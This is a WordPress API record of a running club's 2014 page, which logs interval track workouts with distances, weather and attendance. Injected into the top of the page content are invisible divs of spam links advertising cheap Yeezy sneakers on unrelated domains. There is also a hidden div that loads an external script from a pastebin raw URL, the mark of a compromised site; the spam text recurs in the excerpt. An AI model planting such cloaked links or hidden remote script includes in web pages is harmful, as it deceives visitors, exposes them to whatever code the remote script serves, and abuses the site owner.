{"id":633,"date":"2013-12-21T00:32:07","date_gmt":"2013-12-21T08:32:07","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=633"},"modified":"2017-02-04T22:31:26","modified_gmt":"2017-02-05T06:31:26","slug":"2014-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=633","title":{"rendered":"2014"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/farsdownload.net\/yeezy-boost-350-v2-black-red-cheap-sale.html\">yeezy boost 350 v2 black<\/a><a href=\"http:\/\/www.reelfruit.com\/yeezy-boost-350-v2-black-order-online.html\">yeezy boost 350 v2 black<\/a><a href=\"http:\/\/ideamenu.ru\/yeezy-boost-white.html\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/www.derszamani.net\/adidas-yeezy-350-v2-white.html\">yeezy boost 350<\/a><a href=\"http:\/\/phuthobay.pro\/yeezy-350.php\">yeezy boost 350<\/a><a href=\"http:\/\/www.utazzkutyaddal.hu\/buy-yeezy-boost-350-v2-white.html\">yeezy boost 350 triple white for sale<\/a><a href=\"http:\/\/javadmoghadam.ir\/yeezy-boost-350-v2-triple-white\/\">yeezy boost 350 for sale<\/a><a href=\"http:\/\/planbgroup.es\/yeezyboost.php\">Adidas Yeezy Boost 350 Beluga V2<\/a><a href=\"http:\/\/www.alexandergordonsmith.com\/yeezy-boost-sale.html\">yeezy 350 boost<\/a><a href=\"http:\/\/jonasbrothersdaily.org\/yeezy-350-boost.html\">adidas yeezy boost 350<\/a><a href=\"http:\/\/gentedelbalsas.mx\/buy-yeezy-boost-350\/\">yeezy boost 350 for sale<\/a><a href=\"http:\/\/www.southernpines.biz\/us\/yeezy-boost-350-for-sale.html\">http:\/\/www.southernpines.biz\/us\/yeezy-boost-350-for-sale.html<\/a><a href=\"http:\/\/birtanalytics.actuate.com\/buy-yeezy-boost-350-white\/\">yeezy boost 350 buy<\/a><a href=\"https:\/\/carbon-sense.com\/v2-2017.php\">yeezy boost 350 v2<\/a><a href=\"http:\/\/ecohealthsolutions.com.au\/yeezy.php\">yeezy boost 350 v2<\/a><a href=\"http:\/\/www.krfair.ir\/buy-yeezy-boost-350-v2-white-black\/\">adidas yeezy boost 350 v2<\/a><a href=\"http:\/\/www.skybluefc.com\/yeezy-boost-v2-stripe-black-red.php\">yeezy boost 350 v2 black<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/yeezy350v2s.us.com\">http:\/\/www.yeezy350v2s.us.com<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>It&#8217;s mid winter now. Short, cool days and colder nights means we will continue with our 5:30 start time to gain a little sunlight and warmth.<\/p>\n<p>January and February brings a longer, slower paced interval cycle. Total miles for Monday intervals are now three miles. Wednesdays are four miles. This should reduce the rapid and large changes in body temperature which helps lessen muscle strain, thus avoiding injuries. The running focus is building endurance.<\/p>\n<p>01\/14\/15 Wed &#8211; 1,600; 1,200, 800; 1,200; 1,600 = 4 miles total<br \/>\n01\/12\/15 Mon &#8211; 3x(800; 2&#215;400) = 3 miles total<\/p>\n<p>Completed &#8211;<br \/>\n01\/07\/15 Wed &#8211; 1,600; 800; 1,600; 800; 1,600 = 4 mi; lo 60&#8217;s; 2 ran<br \/>\n01\/05\/15 Mon &#8211; 12&#215;400 = 3 mi; lo 60&#8217;s; 4 ran<br \/>\n12\/31\/14 Wed &#8211; New Years Eve = no workout<br \/>\n12\/29\/14 Mon &#8211; 3x(800; 2&#215;400) = 3 mi; mid 50&#8217;s; 2 ran<br \/>\n12\/24\/14 Wed &#8211; Christmas Eve = no workout<br \/>\n12\/22\/14 Mon &#8211; 800; 7&#215;400; 800 = 2 3\/4 mi; hi 50&#8217;s; 4 ran<br \/>\n12\/17\/14 Wed &#8211; rain; lo 60&#8217;s; 1 ran<br \/>\n12\/15\/14 Mon &#8211;\u00a0 rain<br \/>\n12\/10\/14 Wed &#8211; 1,600; 600; 1,200; 600; 1,600 = 3 1\/2 mi; mid 60&#8217;s; 4 ran<br \/>\n12\/08\/14 Mon &#8211;\u00a0\u00a06x(400; 200); 400 = 2 1\/2 mi; lo 60&#8217;s; 6 ran<br \/>\n12\/03\/14 Wed &#8211; rain<br \/>\n12\/01\/14 Mon &#8211; 400; 3x(800; 400) = 2 1\/2 mi; lo 60&#8217;s; three ran<br \/>\n11\/26\/14 Wed &#8211; Thanksgiving eve; no formal workout<br \/>\n11\/24\/14 Mon &#8211; 2x(800; 2&#215;400); 800 = 2 1\/2 mi; lo 60&#8217;s; 4 ran<br \/>\n11\/19\/14 Wed &#8211; server went down; 3 1\/4 mi; lo 60&#8217;s; 3 ran<br \/>\n11\/17\/14 Mon &#8211; Server went down; 2 1\/4 mi; lo 60&#8217;s scattered showers; 2 ran<br \/>\n11\/12\/14 Wed &#8211; 1,600; 800; 400; 800; 1,600 = 3 1\/4 mi;<br \/>\n11\/10\/14 Mon &#8211;\u00a0600; 6&#215;400; 600 = 2 1\/4 mi;<br \/>\n11\/05\/14 Wed &#8211; 1,200; 800; 3&#215;400; 800; 1,200 = 3 1\/4 mi; mid 60&#8217;s 5 ran<br \/>\n<strong>11\/03\/14 Mon<\/strong> <strong>&#8211;<\/strong> 800; 3x(300; 50 jog; 150 sprint); 800 = 2 mi; mid 60&#8217;s; 3 ran<br \/>\n10\/29\/14 Wed &#8211; 2x(1,200; 1,200; 200); 1,200 = 4 mi; lo 60&#8217;s; three ran<br \/>\n10\/27\/14 Mon &#8211; 6x(400; 200)= 2-1\/4 mi; lo 60&#8217;s; 5 ran<br \/>\n10\/27\/14 Mon &#8211; 2x(2&#215;400; 2&#215;200); 2&#215;400 = 2 mi; mid 60&#8217;s; 4 ran<br \/>\n10\/22\/14 Wed &#8211; 4x(800; 200); 800 = 3 mi; mid 60&#8217;s; 3 ran<br \/>\n10\/20\/14 Mon &#8211; Rain!; 3 ran<br \/>\n10\/15\/14 Wed &#8211; 1,600; 4x(400; 200); 800 = 3 mi; 6 ran; mid 60&#8217;s<br \/>\n10\/13\/14 Mon &#8211; 2x(2&#215;400; 2&#215;200); 2&#215;400 = 2 mi; 2 ran. mid 60&#8217;s<br \/>\n10\/08\/14 Wed &#8211;\u00a01,200; 800; 2&#215;400; 800; 1,200 = 3 mi; 3 ran; hi 60&#8217;s<br \/>\n10\/06\/14 Mon &#8211; 600; 4x(300; 50 jog; 150 sprint); 600 = 2 mi; 2 ran; lo 70&#8217;s<br \/>\n<strong>10\/01\/14 Wed &#8211;<\/strong>\u00a0 = 3 mi<br \/>\n09\/29\/14 Mon &#8211; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600 = 2 mi; lo 60&#8217;s; 3 ran<br \/>\n09\/24\/14 Wed &#8211; 6&#215;800 = 3 mi; mid 60&#8217;s; 6 ran<br \/>\n09\/22\/14 Mon &#8211; 600; 5x(200; 400) = 2 mi; mid 60&#8217;s; 4 ran<br \/>\n09\/17\/14 Wed &#8211; 4x(800; 400) = 3 mi; hi 60&#8217;s; 3 ran<br \/>\n09\/15\/14 Mon &#8211; 8&#215;400 = 2 mi; hi 60&#8217;s; 4 ran<br \/>\n09\/10\/14 Wed &#8211;\u00a0800; 4x(400; 200; 400) = 3 mi; hi 50&#8217;s; 4 ran<br \/>\n09\/08\/14 Mon &#8211;\u00a0600; 5&#215;400; 600 = 2 mi; hi 60&#8217;s; 3 ran<br \/>\n09\/03\/14 Wed &#8211;\u00a02x(800; 2&#215;200; 800) = 3 mi; hi 60&#8217;s; 4 ran<br \/>\n<strong>09\/01\/14 Mon &#8211;<\/strong> 2x(400; 2x(50 jog; 150 sprint)); 400= 2 mi; lo 70&#8217;s; 5 ran<br \/>\n08\/27\/14 Wed &#8211;\u00a01,200; 800; 2&#215;400; 800; 1,200 = 3 mi; lo 70&#8217;s; 4 ran<br \/>\n08\/25\/14 Mon &#8211; 2x(2&#215;400; 2&#215;200); 2&#215;400 = 2 mi; lo 70&#8217;s; 3 ran<br \/>\n08\/20\/14 Wed &#8211;\u00a02x(600; 400; 2&#215;200; 400; 600) = 3 mi; lo 70&#8217;s; 6 ran<br \/>\n08\/18\/14 Mon &#8211;\u00a0600; 5x(200; 400) = 2 mi; lo 70&#8217;s; 2 ran<br \/>\n08\/13\/14 Wed &#8211; 6&#215;800 = 3 mi; mid 70&#8217;s; 4 ran<br \/>\n08\/11\/14 Mon &#8211; 12&#215;400 = 2 mi; lo 70&#8217;s; 2 ran<br \/>\n08\/06\/14 Wed &#8211; 4x(800; 400) = 3 mi; mid 70&#8217;s; 2 ran<br \/>\n<strong>08\/04\/14 Mon &#8211;<\/strong> 600; 5x(200; 400) = 2 mi; mid 70&#8217;s; 1 ran<br \/>\n07\/30\/14 Wed &#8211;\u00a0800; 4x(400; 200; 400) = 3 mi; mid 70&#8217;s; 3 ran<br \/>\n07\/28\/14 Mon &#8211;\u00a0600; 4x(300; 50 jog; 150 sprint); 600 = 2 mi; mid 70&#8217;s; 2 ran<br \/>\n07\/23\/14 Wed &#8211; 1,200; 800; 2&#215;400; 800; 1,200 = 3 mi; hi 70&#8217;s; 2 ran<br \/>\n07\/21\/14 Mon &#8211; 0 ran<br \/>\n07\/16\/14 Wed &#8211;\u00a0 = 3 mi<br \/>\n07\/14\/14 Mon &#8211;\u00a0 = 2 mi<br \/>\n07\/09\/14 Wed &#8211; 2x(600; 400; 2&#215;200; 400; 600)= 3 mi; mid 70&#8217;s; 2 ran<br \/>\n07\/07\/14 Mon &#8211; 800; 4&#215;400; 800 = 2 mi; hi 70&#8217;s; 3 ran<br \/>\n<strong>07\/02\/14 Wed &#8211;<\/strong> 600; 6x(400; 200); 600 = 3 mi; lo 70&#8217;s; 3\u00a0 ran<br \/>\n06\/30\/14 Mon &#8211; 600; 4x(300; 50 jog; 150 sprint); 600 = 2 mi; mid 70&#8217;s; 2 ran<br \/>\n06\/25\/14 Wed &#8211; 2x(800; 2x(400; 200); 400) = 3 mi; lo 70&#8217;s; 2 ran<br \/>\n06\/23\/14 Mon &#8211; 600; 4x(300; 50 jog; 150 sprint); 600 = 2 mi; 3 ran; lo 70&#8217;s<br \/>\n06\/18\/14 Wed &#8211; 800; 4x(400; 200; 400) = 3 mi; hi 60&#8217;s; 3 ran<br \/>\n06\/16\/14 Mon &#8211; 600; 2&#215;400; 4&#215;200; 2&#215;400; 600= 2.25 mi; hi 60&#8217;s; 3 ran<br \/>\n06\/11\/14 Wed &#8211; 800; 2&#215;600; 2&#215;200; 2&#215;600; 800 = 3 mi; mid 60&#8217;s; 3 ran<br \/>\n06\/09\/14 Mon &#8211; 600; 2&#215;400; 4&#215;200; 2&#215;400; 600= 2.25 mi; 0 ran<br \/>\n06\/04\/14 Wed &#8211;\u00a04x(800; 300; 50 jog; 150 sprint) = 3.25 mi; hi 60&#8217;s; 3 ran<br \/>\n<strong>06\/02\/14 Mon &#8211;<\/strong> 3x (600; 400; 200) ; 400= 2.5 mi; lo 70&#8217;s; 2\u00a0 ran<br \/>\n05\/28\/14 Wed &#8211; 1,200; 4x(200; 400; 200); 800 = 3.25 mi; lo 70&#8217;s; 3 ran<br \/>\n05\/26\/14 Mon &#8211;\u00a0 Memorial Day &#8211; gone racing<br \/>\n05\/21\/14 Wed &#8211; 1,200; 4x(200; 400; 200); 1,200 = 3.5 mi; lo 70&#8217;s; 2 ran<br \/>\n05\/19\/14 Mon &#8211;\u00a0 2&#215;600; 4x(300; 50 jog; 150 sprint); 2&#215;600 = 2.75 mi; lo 70&#8217;s 2 ran<br \/>\n05\/14\/14 Wed &#8211; 1,600; 1,200; 2&#215;800; 4&#215;400 = 3.75 mi; lo 80&#8217;s; 3 ran<br \/>\n05\/12\/14 Mon &#8211;\u00a0 3x(800; 400) ; 800 = 2.75 mi; lo 80&#8217;s; 4 ran<br \/>\n05\/07\/14 Wed &#8211; 1,600; 2&#215;200; 1,600; 4&#215;200; 1,600; 2&#215;200 = 4 mi; lo 60&#8217;s; 2 ran<br \/>\n<strong>05\/05\/14 Mon &#8211;<\/strong>\u00a0\u00a04\u00d7(600; 400; 200)\u00a0 = 3 mi; lo 60&#8217;s; 3 ran<br \/>\n04\/30\/14 Wed &#8211;\u00a0400; 3x(1,600; 400) = 4 mi; lo 60&#8217;s; 4 ran<br \/>\n04\/28\/14 Mon &#8211;\u00a0\u00a04\u00d7(600; 400; 200)\u00a0 = 3 mi; lo 60&#8217;s; 2 ran<br \/>\n04\/23\/14 Wed &#8211;\u00a02x(800; 400) ; 1,600 ; 2x(400; 800) = 4 mi; lo 60&#8217;s; 2 ran<br \/>\n04\/21\/14 Mon &#8211; 400; 4x(600; (300; 50 jog; 150 sprint));\u00a0 400\u00a0 = 3 mi; mid 60&#8217;s; 5 ran<br \/>\n04\/16\/14 Wed &#8211; 2x(1,600; 200; 800; 200); 800 = 4 mi; mid 60&#8217;s; 4 ran<br \/>\n04\/14\/14 Mon &#8211; 8x(400; 200)\u00a0 = 3 mi; mid 60&#8217;s; 4 ran<br \/>\n04\/09\/14 Wed &#8211; injury recovery jogs; mid 60&#8217;s; 3 ran<br \/>\n04\/07\/14 Mon &#8211;\u00a02&#215;600; 2&#215;400; 4&#215;200; 2&#215;400 2&#215;600\u00a0 = 3 mi; mid 60&#8217;s; 3 ran<br \/>\n<strong>04\/02\/14 Wed &#8211;<\/strong>\u00a04x(1,200; 400) = 4 mi; lo 60&#8217;s; 3 ran<br \/>\n03\/31\/14 Mon &#8211; rained out<br \/>\n03\/26\/14 Wed &#8211; rained out<br \/>\n03\/24\/14 Mon &#8211;\u00a06\u00d7(600; 200)\u00a0 = 3 mi; mid 60&#8217;s; 4 ran<br \/>\n03\/19\/14 Wed &#8211; 400; 3x(1,600; 400) = 4 mi; hi 60&#8217;s; 4 ran<br \/>\n03\/17\/14 Mon &#8211;\u00a0600; (300; 50 jog; 150 sprint); 400; (300; 50 jog; 150 sprint); 600; (300; 50 jog; 150 sprint)\u00a0 = 3 mi; hi 60&#8217;s; 4 ran<br \/>\n03\/12\/14 Wed &#8211;\u00a02x(1,600; 800; 400); 800 = 4 mi; hi 60&#8217;s; 3 ran<br \/>\n03\/10\/14 Mon &#8211;\u00a02x(800; 4&#215;200) 2&#215;800\u00a0 = 3 mi; hi 60&#8217;s; 3 ran<br \/>\n03\/05\/14 Wed &#8211;\u00a02x(1,600; 800; 400); 800 = 4 mi; sprinkles; 2 ran<br \/>\n<strong>03\/03\/14 Mon &#8211;<\/strong> 4\u00d7(600; 400; 200) \u00a0 = 3 mi; hi 50&#8217;s; 4 ran<br \/>\n02\/26\/14 Wed &#8211; rain, no practice<br \/>\n02\/24\/14 Mon &#8211;\u00a06\u00d7(600; 200)\u00a0 = 3 mi; mid 50&#8217;s; 4 ran<br \/>\n02\/19\/14 Wed &#8211; 2x(800; 400) ; 1,600 ; 2x(400; 800) = 4 mi; mid 50&#8217;s; 4 ran<br \/>\n02\/17\/14 Mon &#8211; 2x(600; 400; 2&#215;200; 400; 600)\u00a0 = 3 mi; mid 50&#8217;s; 3 ran<br \/>\n02\/12\/14 Wed &#8211; 4x(1,200; 400)\u00a0 = 4 mi; mid 50&#8217;s; 2 ran<br \/>\n02\/10\/14 Mon &#8211; 2&#215;600; 2&#215;400; 4&#215;200; 2&#215;400 2&#215;600;\u00a0 = 3 mi; mid 50&#8217;s; 4 ran<br \/>\n02\/05\/14 Wed &#8211;\u00a0400; 3x(1,600; 400) = 4 mi; lo 50&#8217;s; 5 ran<br \/>\n<strong>02\/03\/14 Mon &#8211;<\/strong>\u00a0 2x(800; 4&#215;200) 2&#215;800;\u00a0 = 3 miles total<br \/>\n01\/29\/14 Wed &#8211; Soccer game &#8211; no track access<br \/>\n01\/27\/14 Mon &#8211;\u00a0 2x(800; 4&#215;200) 2&#215;800;\u00a0 = 3 mi; hi 50&#8217;s; 2 ran<br \/>\n01\/22\/14 Wed &#8211; 400; 3x(1,600; 400) = 4 mi; lo 60&#8217;s; 3 ran<br \/>\n01\/20\/14 Mon &#8211;\u00a0 Holiday &#8211; 6\u00d7(600; 200);\u00a0 = 3 mi; lo 60&#8217;s; 1 ran<br \/>\n01\/15\/14 Wed &#8211; 2x(1,600; 800; 400); 800 = 4 mi; mid 50&#8217;s; 3 ran<br \/>\n01\/13\/14 Mon &#8211;\u00a0 4\u00d7(600; 400; 200)\u00a0 = 3 mi; mid 50&#8217;s; 3 ran<br \/>\n01\/08\/14 Wed &#8211; 400; 3x(1,600; 400)= 4 mi; lo 50&#8217;s; 3 ran<br \/>\n01\/05\/14 Mon &#8211;\u00a0\u00a02\u00d7800; 2\u00d7(400; 200); 400; 2\u00d7800 = 3 mi; lo 50&#8217;s; 3 ran<br \/>\n<strong>01\/01\/14 Wed &#8211;<\/strong> New Year&#8217;s Day &#8211; gone racing<br \/>\n12\/30\/13 Mon &#8211; 800; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600; 800\u00a0 = 3 mi; lo 50&#8217;s; 3 ran<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 v2 blackyeezy boost 350 v2 blackyeezy boost 350 triple whiteyeezy boost 350yeezy boost 350yeezy boost 350 triple white for saleyeezy boost 350 for saleAdidas Yeezy Boost 350 Beluga V2yeezy 350 boostadidas yeezy boost 350yeezy boost 350 for &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=633\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":40,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-633","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-ad","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/633","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=633"}],"version-history":[{"count":108,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/633\/revisions"}],"predecessor-version":[{"id":1645,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/633\/revisions\/1645"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=633"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}